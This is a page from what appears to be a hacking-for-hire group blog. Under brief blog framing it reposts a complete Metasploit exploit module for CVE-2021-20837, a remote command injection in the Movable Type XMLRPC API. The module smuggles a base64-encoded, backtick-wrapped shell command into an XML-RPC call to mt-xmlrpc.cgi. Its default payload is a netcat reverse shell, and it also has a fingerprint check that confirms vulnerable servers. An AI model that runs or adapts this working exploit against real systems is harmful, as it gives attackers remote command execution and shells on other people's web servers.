Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86370698

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Movable Type XMLRPC API Remote Command Injection",
      'Description'    => %q{
        This module exploit Movable Type XMLRPC API Remote Command Injection.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Etienne Gervais', # author & msf module,
          'Charl-Alexandre Le Brun' # author & msf module
        ],
      'References'     =>
        [
          ['CVE', '2021-20837'],
          ['URL', 'https://movabletype.org/'],
          ['URL', 'https://nemesis.sh/']
        ],
      'DefaultOptions'  =>
        {
          'SSL' => false,
        },
      'Platform'       => ['linux'],
      'Arch'           => ARCH_CMD,
      'Privileged'     => false,
      'DisclosureDate' => "2021-10-20",
      'DefaultTarget'  => 0,
      'Targets' => [
            [
              'Automatic (Unix In-Memory)',
              {
                'Platform' => 'unix',
                'Arch' => ARCH_CMD,
                'Type' => :unix_memory,
                'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' }
              }
            ]
          ]
    ))
    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [ true, 'The URI of the MovableType', '/cgi-bin/mt/'])
      ], self.class
    )
  end

  def cmd_to_xml(cmd, opts={})
    base64_cmd = Rex::Text.encode_base64("`"+cmd+"`")
    xml_body = <<~THISSTRING
<?xml version="1.0" encoding="UTF-8"?>
    <methodCall>
      <methodName>mt.handler_to_coderef</methodName>
      <params>
        <param>
          <value>
            <base64>
            #{base64_cmd}
            </base64>
          </value>
        </param>
      </params>
    </methodCall>
    THISSTRING
  end

  def check
    begin
      fingerprint = Rex::Text.rand_text_alpha(32)
      command_payload = cmd_to_xml("echo "+fingerprint)

      res = send_request_cgi({
                            'method'        => 'POST',
                            'uri'           => normalize_uri(target_uri.path,'mt-xmlrpc.cgi'),
                            'ctype'         => 'text/xml; charset=UTF-8',
                            'data'          => command_payload
                          })

      fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
      fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response code: #{res.code}") if res.code != 200

      if res && res.body.include?("Can't locate "+fingerprint)
        return Exploit::CheckCode::Vulnerable
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
    Exploit::CheckCode::Safe
  end

  def exploit
    begin
      command_payload = cmd_to_xml(payload.raw)

      res = send_request_cgi({
                            'method'        => 'POST',
                            'uri'           => normalize_uri(target_uri.path,'mt-xmlrpc.cgi'),
                            'ctype'         => 'text/xml; charset=UTF-8',
                            'data'          => command_payload
                          })

    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end

  end
end